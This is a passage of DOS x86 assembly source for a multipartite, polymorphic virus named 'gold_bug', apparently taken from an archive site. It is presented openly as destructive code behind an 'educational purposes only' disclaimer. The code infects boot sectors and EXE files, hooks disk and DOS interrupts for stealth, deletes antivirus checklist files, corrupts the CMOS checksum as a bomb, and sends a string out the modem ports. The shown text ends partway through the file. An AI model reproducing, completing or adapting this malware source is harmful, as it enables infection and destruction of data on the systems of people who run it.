home *** CD-ROM | disk | FTP | other *** search
- cseg segment para public 'code'
-
- gold_bug proc near
-
- assume cs:cseg
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- ;designed by "Q" the misanthrope.
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- ; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
-
- ; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
-
- ; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
-
- ; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
-
- ; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
-
- ; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
-
- ; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- .186
-
- TRUE equ 001h
-
- FALSE equ 000h
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- ;option bytes used and where
-
-
-
- DELETE_SCANNERS equ FALSE ; -2 bytes -2 in com_code
-
- CHECK_FOR_8088 equ TRUE ; 4 bytes 4 in com_code
-
- INFECT_RANDOM equ TRUE ; 4 bytes 4 in com_code
-
- CMOS_BOMB equ TRUE ; 4 bytes 4 in com_code
-
- DEFLECT_DELETE equ TRUE ; 5 bytes 5 in com_code
-
- READING_STEALTH equ TRUE ; 5 bytes 5 in com_code
-
- SAME_FILE_DATE equ TRUE ; 24 bytes 24 in com_code
-
- DOUBLE_DECRIPT equ TRUE ; 26 bytes 26 in com_code
-
- EXECUTE_SPAWNED equ TRUE ; 35 bytes 32 in com_code 3 in boot_code
-
- MODEM_CODE equ TRUE ; 40 bytes 29 in com_code 11 in boot_code
-
- ANTI_ANTIVIRUS equ TRUE ; 46 bytes 35 in com_code 11 in boot_code
-
- POLYMORPHIC equ TRUE ; 90 bytes 74 in com_code 16 in boot_code
-
- MULTIPARTITE equ TRUE ;372 bytes 346 in com_code 26 in boot_code
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- ;floppy boot infection
-
-
-
- FLOPPY_1_2M equ 001h
-
- FLOPPY_760K equ 000h
-
- FLOPPY_TYPE equ FLOPPY_1_2M
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IFE MULTIPARTITE
-
- DELETE_SCANNERS equ FALSE
-
- CHECK_FOR_8088 equ FALSE
-
- INFECT_RANDOM equ FALSE
-
- DEFLECT_DELETE equ FALSE
-
- READING_STEALTH equ FALSE
-
- SAME_FILE_DATE equ FALSE
-
- EXECUTE_SPAWNED equ FALSE
-
- POLYMORPHIC equ FALSE
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- SECTOR_SIZE equ 00200h
-
- RES_OFFSET equ 0fb00h
-
- COM_OFFSET equ 00100h
-
- RELATIVE_OFFSET equ RES_OFFSET-COM_OFFSET
-
- PART_OFFSET equ COM_OFFSET+SECTOR_SIZE
-
- BOOT_OFFSET equ 07c00h
-
- RELATIVE_BOOT equ BOOT_OFFSET-PART_OFFSET
-
- LOW_JMP_10 equ 0031ch
-
- LOW_JMP_21 equ 00321h
-
- SAVE_INT_CHAIN equ 0032ch
-
- SCRATCH_AREA equ 08000h
-
- HEADER_SEGMENT equ 00034h
-
- INT_21_IS_NOW equ 0cch
-
- BIOS_INT_13 equ 0c6h
-
- NEW_INT_13_LOOP equ 0cdh
-
- BOOT_SECTOR equ 001h
-
- DESCRIPTOR_OFF equ 015h
-
- IF FLOPPY_TYPE EQ FLOPPY_1_2M
-
- DESCRIPTOR equ 0f909h
-
- OLD_BOOT_SECTOR equ 00eh
-
- COM_CODE_SECTOR equ 00dh
-
- ELSE
-
- DESCRIPTOR equ 0f905h
-
- OLD_BOOT_SECTOR equ 005h
-
- COM_CODE_SECTOR equ 004h
-
- ENDIF
-
- READ_ONLY equ 001h
-
- SYSTEM equ 004h
-
- DELTA_RI equ 004h
-
- DSR equ 020h
-
- CTS equ 010h
-
- CD equ 080h
-
- FAR_JUMP equ 0eah
-
- MIN_FILE_SIZE equ 00500h
-
- PSP_SIZE equ 00100h
-
- VIRGIN_INT_13_A equ 00806h
-
- VIRGIN_INT_13_B equ 007b4h
-
- VIRGIN_INT_2F equ 00706h
-
- FAR_JUMP_OFFSET equ 006h
-
- SET_INT_OFFSET equ 007h
-
- CHANGE_SEG_OFF equ 009h
-
- VIDEO_MODE equ 00449h
-
- MONOCHROME equ 007h
-
- COLOR_VIDEO_MEM equ 0b000h
-
- ADDR_MUL equ 004h
-
- SINGLE_BYTE_INT equ 003h
-
- VIDEO_INT equ 010h
-
- VIDEO_INT_ADDR equ VIDEO_INT*ADDR_MUL
-
- DISK_INT equ 013h
-
- DISK_INT_ADDR equ DISK_INT*ADDR_MUL
-
- SERIAL_INT equ 014h
-
- DOS_INT equ 021h
-
- DOS_INT_ADDR equ DOS_INT*ADDR_MUL
-
- MULTIPLEX_INT equ 02fh
-
- COMMAND_LINE equ 080h
-
- FIRST_FCB equ 05ch
-
- SECOND_FCB equ 06ch
-
- NULL equ 00000h
-
- GET_PORT_STATUS equ 00300h
-
- WRITE_TO_PORT equ 00100h
-
- HD_0_HEAD_0 equ 00080h
-
- READ_A_SECTOR equ 00201h
-
- WRITE_A_SECTOR equ 00301h
-
- GET equ 000h
-
- SET equ 001h
-
- DELETE_W_FCB equ 01300h
-
- DEFAULT_DRIVE equ 000h
-
- GET_DEFAULT_DR equ 01900h
-
- DOS_SET_INT equ 02500h
-
- FILE_DATE_TIME equ 05700h
-
- DENYNONE equ 040h
-
- OPEN_W_HANDLE equ 03d00h
-
- READ_W_HANDLE equ 03f00h
-
- WRITE_W_HANDLE equ 04000h
-
- CLOSE_HANDLE equ 03e00h
-
- UNLINK equ 04100h
-
- FILE_ATTRIBUTES equ 04300h
-
- RESIZE_MEMORY equ 04a00h
-
- QUERY_FREE_HMA equ 04a01h
-
- ALLOCATE_HMA equ 04a02h
-
- EXEC_PROGRAM equ 04b00h
-
- GET_ERROR_LEVEL equ 04d00h
-
- TERMINATE_W_ERR equ 04c00h
-
- RENAME_A_FILE equ 05600h
-
- LSEEK_TO_END equ 04202h
-
- CREATE_NEW_FILE equ 05b00h
-
- RESIDENT_LENGTH equ 068h
-
- PARAMETER_TABLE equ 005f1h
-
- MAX_PATH_LENGTH equ 00080h
-
- EXE_HEADER_SIZE equ 020h
-
- NEW_EXE_HEADER equ 00040h
-
- NEW_EXE_OFFSET equ 018h
-
- PKLITE_SIGN equ 'KP'
-
- PKLITE_OFFSET equ 01eh
-
- NO_OF_COM_PORTS equ 004h
-
- WINDOWS_BEGIN equ 01605h
-
- WINDOWS_END equ 01606h
-
- ERROR_IN_EXE equ 0000bh
-
- IF POLYMORPHIC
-
- FILE_SIGNATURE equ 07081h
-
- XOR_SWAP_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
-
- FILE_LEN_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
-
- FIRST_UNDO_OFF equ byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
-
- SECOND_UNDO_OFF equ byte ptr ((offset second_jmp)-(offset com_code))
-
- BL_BX_OFFSET equ byte ptr ((offset incbl_incbx)-(offset com_code))
-
- ROTATED_OFFSET equ byte ptr ((offset rotated_code)-(offset com_code))
-
- ELSE
-
- FILE_SIGNATURE equ 0070eh
-
- ENDIF
-
- IF MODEM_CODE
-
- STRING_LENGTH equ byte ptr ((offset partition_sig)-(offset string))
-
- ENDIF
-
- IF EXECUTE_SPAWNED
-
- EXEC_SUBTRACT equ byte ptr ((offset file_name)-(offset exec_table))
-
- ENDIF
-
- DH_OFFSET equ byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
-
- ONE_NIBBLE equ 004h
-
- ONE_BYTE equ 001h
-
- TWO_BYTES equ 002h
-
- THREE_BYTES equ 003h
-
- FOUR_BYTES equ 004h
-
- FIVE_BYTES equ 005h
-
- FIVE_BITS equ 005h
-
- EIGHT_BYTES equ 008h
-
- USING_HARD_DISK equ 080h
-
- KEEP_CF_INTACT equ 002h
-
- CMOS_CRC_ERROR equ 02eh
-
- CMOS_PORT equ 070h
-
- REMOVE_NOP equ 001h
-
- CR equ 00dh
-
- LF equ 00ah
-
- INT3_INCBX equ 043cch
-
- INC_BL equ 0c3feh
-
- INCBX_INCBL_XOR equ INT3_INCBX XOR INC_BL
-
- JMP_NO_SIGN equ 079h
-
- JMP_NOT_ZERO equ 075h
-
- JNS_JNZ_XOR equ JMP_NO_SIGN XOR JMP_NOT_ZERO
-
- CLI_PUSHCS equ 00efah
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- video_seg segment at 0c000h
-
- org 00000h
-
- original_int_10 label word
-
- video_seg ends
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- io_seg segment at 00070h
-
- org 00893h
-
- original_2f_jmp label word
-
- io_seg ends
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- org COM_OFFSET
-
- com_code:
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF POLYMORPHIC
-
- first_decode proc near
-
- serial_number: xor word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
-
- org $-REMOVE_NOP
-
- org $-FIVE_BYTES
-
- jmp load_it
-
- org $+TWO_BYTES
-
- rotated_code: int SINGLE_BYTE_INT
-
- into
-
- adc al,0d4h
-
- incbl_incbx: inc bl
-
- first_jmp: jnz serial_number
-
- add bx,si
-
- jns serial_number
-
- first_decode endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF DOUBLE_DECRIPT
-
- second_decode proc near
-
- push si
-
- get_next_byte: lodsw
-
- add bx,ax
-
- inc bx
-
- xor byte ptr ds:[si+SECOND_UNDO_OFF],bl
-
- org $-REMOVE_NOP
-
- dec si
-
- second_jmp: jns get_next_byte
-
- pop si
-
- second_decode endp
-
- ENDIF
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- com_start proc near
-
- IF MULTIPARTITE
-
- push cs
-
- pop es
-
- call full_move_w_si
-
- mov ds,cx
-
- cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
-
- jne dont_set_int
-
- mov di,VIRGIN_INT_13_B
-
- call set_both_ints
-
- push cs
-
- pop es
-
- ENDIF
-
- dont_set_int: IF CHECK_FOR_8088
-
- mov cl,RESIDENT_LENGTH
-
- mov al,high(RESIZE_MEMORY)
-
- shl ax,cl
-
- mov bx,cx
-
- int DOS_INT
-
- ELSEIF MULTIPARTITE
-
- mov bx,RESIDENT_LENGTH
-
- mov ah,high(RESIZE_MEMORY)
-
- int DOS_INT
-
- ENDIF
-
- IF EXECUTE_SPAWNED
-
- pusha
-
- call from_com_code+RELATIVE_OFFSET
-
- popa
-
- push cs
-
- pop ds
-
- push cs
-
- pop es
-
- cmpsw
-
- mov dx,si
-
- sub si,EXEC_SUBTRACT
-
- org $-REMOVE_NOP
-
- mov bx,PARAMETER_TABLE
-
- mov di,bx
-
- mov ax,EXEC_PROGRAM
-
- set_table: scasw
-
- movsb
-
- scasb
-
- mov word ptr ds:[di],ds
-
- je set_table
-
- int DOS_INT
-
- mov ah,high(GET_ERROR_LEVEL)
-
- int DOS_INT
-
- mov ah,high(TERMINATE_W_ERR)
-
- ELSEIF MULTIPARTITE
-
- call from_com_code+RELATIVE_OFFSET
-
- mov ax,TERMINATE_W_ERR
-
- ENDIF
-
- IF MULTIPARTITE
-
- int DOS_INT
-
- ELSE
-
- jmp boot_load
-
- ENDIF
-
- com_start endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- interrupt_21 proc far
-
- pushf
-
- pusha
-
- push ds
-
- push es
-
- mov di,dx
-
- push ds
-
- pop es
-
- cld
-
- mov cx,MAX_PATH_LENGTH
-
- IF MULTIPARTITE
-
- mov si,offset file_name+RELATIVE_OFFSET
-
- ENDIF
-
- IF READING_STEALTH OR DEFLECT_DELETE
-
- mov bx,ax
-
- ENDIF
-
- cmp ax,EXEC_PROGRAM
-
- IF READING_STEALTH
-
- je start_process
-
- cmp ah,high(OPEN_W_HANDLE)
-
- ENDIF
-
- IF DEFLECT_DELETE
-
- je start_process
-
- cmp ah,high(UNLINK)
-
- ENDIF
-
- jne a_return
-
- start_process: xor ax,ax
-
- copy_name: IF MULTIPARTITE
-
- mov bl,byte ptr ds:[di]
-
- mov byte ptr cs:[si],bl
-
- inc si
-
- ENDIF
-
- scasb
-
- loopne copy_name
-
- std
-
- scasw
-
- IF MULTIPARTITE
-
- mov byte ptr cs:[si-FIVE_BYTES],al
-
- ENDIF
-
- mov al,'E'
-
- scasw
-
- jne a_return
-
- mov ah,'X'
-
- scasw
-
- jne a_return
-
- IF MULTIPARTITE
-
- push ds
-
- ENDIF
-
- pusha
-
- call open_close_file
-
- IF SAME_FILE_DATE
-
- mov word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
-
- mov word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
-
- ENDIF
-
- or si,si
-
- IF MULTIPARTITE
-
- jnz large_exe_file
-
- cmp word ptr ds:[si],FILE_SIGNATURE
-
- je our_kind
-
- IF INFECT_RANDOM
-
- xor di,bp
-
- jpo our_kind
-
- ENDIF
-
- cmp word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
-
- jb test_if_open
-
- cmp word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
-
- je test_if_open
-
- ELSE
-
- jz our_kind
-
- ENDIF
-
- large_exe_file: popa
-
- IF MULTIPARTITE
-
- pop ds
-
- ENDIF
-
- IF ANTI_ANTIVIRUS
-
- mov al,'N'
-
- scasb
-
- ja a_return
-
- mov al,'A'
-
- scasb
-
- jne a_return
-
- pop es
-
- pop ds
-
- popa
-
- IF READING_STEALTH OR DEFLECT_DELETE
-
- cmp ah,high(EXEC_PROGRAM)
-
- jne opened_file
-
- ENDIF
-
- popf
-
- IF CMOS_BOMB
-
- mov al,CMOS_CRC_ERROR
-
- out CMOS_PORT,ax
-
- ENDIF
-
- IF DELETE_SCANNERS
-
- mov ah,high(UNLINK)
-
- jmp short old_int_10_21
-
- ELSE
-
- mov al,ERROR_IN_EXE
-
- stc
-
- retf KEEP_CF_INTACT
-
- ENDIF
-
- ELSE
-
- jmp short a_return
-
- ENDIF
-
- our_kind: popa
-
- IF MULTIPARTITE
-
- pop ds
-
- error_in_copy: inc di
-
- xchg byte ptr ds:[di],ch
-
- mov ax,OPEN_W_HANDLE+DENYNONE
-
- int INT_21_IS_NOW
-
- mov bx,ax
-
- jnc close_it
-
- mov byte ptr ds:[di],ch
-
- jmp_a_return: jmp short a_return
-
- close_it: call force_close
-
- ENDIF
-
- a_return: pop es
-
- pop ds
-
- popa
-
- opened_file: popf
-
- old_int_10_21: jmp far ptr original_int_10
-
- IF MULTIPARTITE
-
- test_if_open: popa
-
- pop ds
-
- IF READING_STEALTH OR DEFLECT_DELETE
-
- cmp bh,high(EXEC_PROGRAM)
-
- jne error_in_copy
-
- ENDIF
-
- drive_letter: sub al,USING_HARD_DISK
-
- jns error_in_copy
-
- mov ax,GET+FILE_ATTRIBUTES
-
- int INT_21_IS_NOW
-
- mov ah,high(RENAME_A_FILE)
-
- pusha
-
- mov di,offset file_name+RELATIVE_OFFSET
-
- push cs
-
- pop es
-
- int INT_21_IS_NOW
-
- set_attribs: popa
-
- int INT_21_IS_NOW
-
- mov ah,high(CREATE_NEW_FILE)
-
- int INT_21_IS_NOW
-
- jc error_in_copy
-
- mov bx,ax
-
- mov ax,SET+FILE_ATTRIBUTES
-
- pusha
-
- push ds
-
- push cs
-
- pop ds
-
- or cl,SYSTEM
-
- mov dx,offset file_name+RELATIVE_OFFSET
-
- int INT_21_IS_NOW
-
- IF ANTI_ANTIVIRUS
-
- mov dx,offset fcb_name+RELATIVE_OFFSET
-
- mov ah,high(DELETE_W_FCB)
-
- int INT_21_IS_NOW
-
- ENDIF
-
- xor di,di
-
- mov ax,SCRATCH_AREA
-
- mov es,ax
-
- mov ds,ax
-
- call full_move
-
- call move_some_more
-
- IF POLYMORPHIC
-
- xor si,si
-
- mov cx,word ptr ds:[si+FILE_LEN_OFFSET]
-
- org $-REMOVE_NOP
-
- IF DOUBLE_DECRIPT
-
- pusha
-
- set_second: add al,byte ptr cs:[si+RES_OFFSET]
-
- inc ax
-
- xor byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
-
- org $-REMOVE_NOP
-
- inc si
-
- loop set_second
-
- popa
-
- ENDIF
-
- mov ax,cx
-
- pusha
-
- xor bx,bx
-
- mov bl,byte ptr ds:[si+XOR_SWAP_OFFSET]
-
- org $-REMOVE_NOP
-
- set_first: xor word ptr ds:[bx],ax
-
- inc bx
-
- loop set_first
-
- popa
-
- ELSE
-
- file_length: mov cx,NULL
-
- ENDIF
-
- mov ah,high(WRITE_W_HANDLE)
-
- cwd
-
- int INT_21_IS_NOW
-
- IF SAME_FILE_DATE
-
- mov ax,SET+FILE_DATE_TIME
-
- new_time: mov cx,NULL
-
- new_date: mov dx,NULL
-
- call do_int21_close
-
- ELSE
-
- call force_close
-
- ENDIF
-
- pop ds
-
- jmp short set_attribs
-
- ENDIF
-
- interrupt_21 endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- open_close_file proc near
-
- mov ax,OPEN_W_HANDLE+DENYNONE
-
- xor cx,cx
-
- int INT_21_IS_NOW
-
- jc more_returns
-
- mov bx,ax
-
- IF MULTIPARTITE
-
- mov dx,HEADER_SEGMENT
-
- mov ds,dx
-
- ENDIF
-
- IF MODEM_CODE
-
- IF MULTIPARTITE
-
- mov dl,NO_OF_COM_PORTS
-
- ELSE
-
- mov dx,NO_OF_COM_PORTS
-
- ENDIF
-
- scan_coms: dec dx
-
- js no_more_coms
-
- mov ax,GET_PORT_STATUS
-
- int SERIAL_INT
-
- xor al,DELTA_RI+CTS+DSR
-
- and al,DELTA_RI+CTS+DSR+CD
-
- jnz scan_coms
-
- mov si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
-
- mov cl,STRING_LENGTH
-
- output_data: lods byte ptr cs:[si]
-
- mov ah,high(WRITE_TO_PORT)
-
- int SERIAL_INT
-
- loop output_data
-
- ENDIF
-
- no_more_coms: IF MULTIPARTITE
-
- mov cl,EXE_HEADER_SIZE
-
- mov ah,high(READ_W_HANDLE)
-
- cwd
-
- int INT_21_IS_NOW
-
- xor cx,cx
-
- ELSE
-
- xor dx,dx
-
- ENDIF
-
- mov ax,LSEEK_TO_END
-
- int INT_21_IS_NOW
-
- IF MULTIPARTITE
-
- IF POLYMORPHIC
-
- mov word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
-
- ELSE
-
- mov word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
-
- ENDIF
-
- ENDIF
-
- inc ah
-
- cmp ax,MIN_FILE_SIZE+PSP_SIZE
-
- adc dx,cx
-
- mov si,dx
-
- IF SAME_FILE_DATE
-
- mov ax,GET+FILE_DATE_TIME
-
- do_int21_close: int INT_21_IS_NOW
-
- ENDIF
-
- force_close: mov ah,high(CLOSE_HANDLE)
-
- int INT_21_IS_NOW
-
- more_returns: ret
-
- open_close_file endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- full_move_w_si proc near
-
- IF POLYMORPHIC
-
- swap_incbx_bl: xor word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
-
- org $-REMOVE_NOP
-
- xor byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
-
- org $-REMOVE_NOP
-
- ENDIF
-
- stc
-
- full_move_w_di: mov di,RES_OFFSET
-
- full_move: call move_code
-
- move_code: jc move_some_more
-
- mov si,RES_OFFSET
-
- IF POLYMORPHIC
-
- IF CHECK_FOR_8088
-
- mov cl,ONE_NIBBLE
-
- ror word ptr cs:[si+ROTATED_OFFSET],cl
-
- org $-REMOVE_NOP
-
- ELSE
-
- ror word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
-
- org $-REMOVE_NOP
-
- ENDIF
-
- ENDIF
-
- move_some_more: mov cx,SECTOR_SIZE
-
- pushf
-
- cld
-
- rep movs byte ptr es:[di],cs:[si]
-
- popf
-
- stc
-
- ret
-
- full_move_w_si endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF ANTI_ANTIVIRUS
-
- org PART_OFFSET-ONE_BYTE
-
- fcb_name db DEFAULT_DRIVE
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- org PART_OFFSET
-
- boot_code:
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- initialize_boot proc near
-
- IF ANTI_ANTIVIRUS
-
- db 'CHKLIST????'
-
- cli
-
- push cs
-
- mov si,BOOT_OFFSET-SECTOR_SIZE
-
- pop ss
-
- mov sp,si
-
- sti
-
- push cs
-
- org PART_OFFSET+DESCRIPTOR_OFF
-
- db high(DESCRIPTOR)
-
- pop ds
-
- mov cx,COM_CODE_SECTOR
-
- pushf
-
- push cs
-
- push BOOT_OFFSET
-
- mov ax,READ_A_SECTOR
-
- ELSE
-
- cli
-
- push cs
-
- mov si,BOOT_OFFSET-SECTOR_SIZE
-
- pop ss
-
- mov sp,si
-
- sti
-
- pushf
-
- push cs
-
- push BOOT_OFFSET
-
- push cs
-
- mov cx,COM_CODE_SECTOR
-
- mov ax,READ_A_SECTOR
-
- org PART_OFFSET+DESCRIPTOR_OFF
-
- db high(DESCRIPTOR)
-
- pop ds
-
- ENDIF
-
- push cs
-
- pop es
-
- dh_value: mov dx,NULL
-
- mov bx,dx
-
- xor dh,al
-
- shr dx,1
-
- mov dh,bh
-
- push dx
-
- mov bx,si
-
- push ax
-
- int DISK_INT
-
- pop ax
-
- mov di,VIDEO_INT_ADDR
-
- mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
-
- call get_n_set_int+ONE_BYTE
-
- mov bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
-
- cmp dx,LOW_JMP_10
-
- je try_this_out
-
- cmp byte ptr ds:[VIDEO_MODE],MONOCHROME
-
- jae try_this_out
-
- mov di,DISK_INT_ADDR
-
- IF MULTIPARTITE
-
- call set_both_ints
-
- ELSE
-
- mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
-
- call get_n_set_int+ONE_BYTE
-
- mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
-
- call set_interrupt
-
- ENDIF
-
- mov ch,high(COLOR_VIDEO_MEM)
-
- mov bx,offset high_code+RELATIVE_OFFSET
-
- try_this_out: push cx
-
- push bx
-
- mov es,cx
-
- call full_move_w_si
-
- retf
-
- initialize_boot endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- high_code proc near
-
- mov dx,offset int_10_start+RELATIVE_OFFSET
-
- mov bx,LOW_JMP_10-FAR_JUMP_OFFSET
-
- call set_int_10_21
-
- mov bx,VIDEO_INT_ADDR-SET_INT_OFFSET
-
- low_code: mov es,cx
-
- mov cl,OLD_BOOT_SECTOR
-
- mov dx,LOW_JMP_10
-
- call set_interrupt
-
- mov bx,BOOT_OFFSET
-
- pop dx
-
- int DISK_INT
-
- xor dh,dh
-
- mov cl,BOOT_SECTOR
-
- mov ax,WRITE_A_SECTOR
-
- high_code endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- interrupt_13 proc far
-
- int_13_start: IF MULTIPARTITE
-
- mov byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
-
- ENDIF
-
- cmp cx,BOOT_SECTOR
-
- jne no_boot_sector
-
- cmp ah,high(READ_A_SECTOR)
-
- jne no_boot_sector
-
- cmp dx,HD_0_HEAD_0
-
- jbe reread_boot
-
- no_boot_sector: int NEW_INT_13_LOOP
-
- jmp short return_far
-
- reread_boot: int NEW_INT_13_LOOP
-
- jc return_far
-
- pusha
-
- push ds
-
- push es
-
- pop ds
-
- check_old_boot: mov ax,READ_A_SECTOR
-
- xor dh,dh
-
- mov cl,OLD_BOOT_SECTOR
-
- IF ANTI_ANTIVIRUS
-
- cmp word ptr ds:[bx],'HC'
-
- ELSE
-
- cmp word ptr ds:[bx],CLI_PUSHCS
-
- ENDIF
-
- je read_old_boot
-
- test dl,USING_HARD_DISK
-
- jnz encode_hd
-
- cmp word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
-
- jne time_to_leave
-
- mov dh,al
-
- pusha
-
- int NEW_INT_13_LOOP
-
- cmp byte ptr ds:[bx],ch
-
- popa
-
- pushf
-
- pusha
-
- xor dh,dh
-
- mov cl,al
-
- int NEW_INT_13_LOOP
-
- popa
-
- popf
-
- jne time_to_leave
-
- encode_hd: mov ah,high(WRITE_A_SECTOR)
-
- push ax
-
- int NEW_INT_13_LOOP
-
- pop ax
-
- jc time_to_leave
-
- mov di,bx
-
- call move_code
-
- mov cl,COM_CODE_SECTOR
-
- IF POLYMORPHIC
-
- xor byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
-
- org $-REMOVE_NOP
-
- jo dont_flip_it
-
- xchg word ptr ds:[bx+ROTATED_OFFSET],ax
-
- org $-REMOVE_NOP
-
- xchg ah,al
-
- xchg word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
-
- org $-REMOVE_NOP
-
- xchg word ptr ds:[bx+ROTATED_OFFSET],ax
-
- org $-REMOVE_NOP
-
- ENDIF
-
- dont_flip_it: pusha
-
- int NEW_INT_13_LOOP
-
- popa
-
- mov di,bx
-
- call move_some_more
-
- mov byte ptr ds:[bx+DH_OFFSET],dh
-
- org $-REMOVE_NOP
-
- mov dh,cl
-
- inc cx
-
- int NEW_INT_13_LOOP
-
- jmp short check_old_boot
-
- read_old_boot: mov dh,byte ptr ds:[bx+DH_OFFSET]
-
- org $-REMOVE_NOP
-
- int NEW_INT_13_LOOP
-
- time_to_leave: pop ds
-
- popa
-
- clc
-
- return_far: retf KEEP_CF_INTACT
-
- interrupt_13 endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- interrupt_2f proc far
-
- pusha
-
- push ds
-
- push es
-
- push offset return_to_2f+RELATIVE_OFFSET
-
- xor cx,cx
-
- mov ds,cx
-
- mov bx,SAVE_INT_CHAIN-SET_INT_OFFSET
-
- cmp ax,WINDOWS_END
-
- jne try_another
-
- les dx,dword ptr ds:[bx+SET_INT_OFFSET]
-
- jmp short set_13_chain
-
- try_another: cmp ax,WINDOWS_BEGIN
-
- jne another_return
-
- mov di,VIRGIN_INT_13_B
-
- call get_n_set_int+ONE_BYTE
-
- les dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
-
- set_13_chain: mov ax,READ_A_SECTOR
-
- call get_set_part
-
- mov bx,VIRGIN_INT_13_B-SET_INT_OFFSET
-
- call set_interrupt
-
- mov bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
-
- call set_interrupt
-
- mov ah,high(WRITE_A_SECTOR)
-
- interrupt_2f endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- get_set_part proc near
-
- pusha
-
- push es
-
- mov bx,SCRATCH_AREA
-
- mov es,bx
-
- mov dx,HD_0_HEAD_0
-
- inc cx
-
- int NEW_INT_13_LOOP
-
- mov ax,READ_A_SECTOR
-
- int DISK_INT
-
- pop es
-
- popa
-
- another_return: ret
-
- get_set_part endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- return_to_2f proc near
-
- pop es
-
- pop ds
-
- popa
-
- jmp far ptr original_2f_jmp
-
- return_to_2f endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- interrupt_10 proc far
-
- int_10_start: pushf
-
- pusha
-
- push ds
-
- push es
-
- push offset a_return+RELATIVE_OFFSET
-
- from_com_code: xor bx,bx
-
- mov ds,bx
-
- or ah,ah
-
- jz set_10_back
-
- mov ax,QUERY_FREE_HMA
-
- int MULTIPLEX_INT
-
- cmp bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
-
- jb another_return
-
- mov ax,ALLOCATE_HMA
-
- int MULTIPLEX_INT
-
- clc
-
- call full_move_w_di
-
- mov dx,offset int_13_start+RELATIVE_OFFSET
-
- call set_13_chain
-
- mov bx,VIRGIN_INT_2F-SET_INT_OFFSET
-
- mov dx,offset interrupt_2f+RELATIVE_OFFSET
-
- call set_interrupt
-
- cmp word ptr ds:[LOW_JMP_10],cx
-
- je set_10_back
-
- push es
-
- push es
-
- mov di,DOS_INT_ADDR
-
- mov bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
-
- call get_n_set_int+ONE_BYTE
-
- pop ds
-
- mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
-
- call set_interrupt
-
- mov ds,cx
-
- mov ax,DOS_SET_INT+DOS_INT
-
- mov dx,LOW_JMP_21
-
- int INT_21_IS_NOW
-
- pop es
-
- mov bx,dx
-
- mov dx,offset interrupt_21+RELATIVE_OFFSET
-
- mov word ptr ds:[bx],0b450h
-
- mov word ptr ds:[bx+TWO_BYTES],0cd19h
-
- mov word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
-
- call set_int_10_21
-
- set_10_back: mov di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
-
- mov bx,LOW_JMP_10-FAR_JUMP_OFFSET
-
- interrupt_10 endp
-
-
-
- ;-----------------------------------------------------------------------------
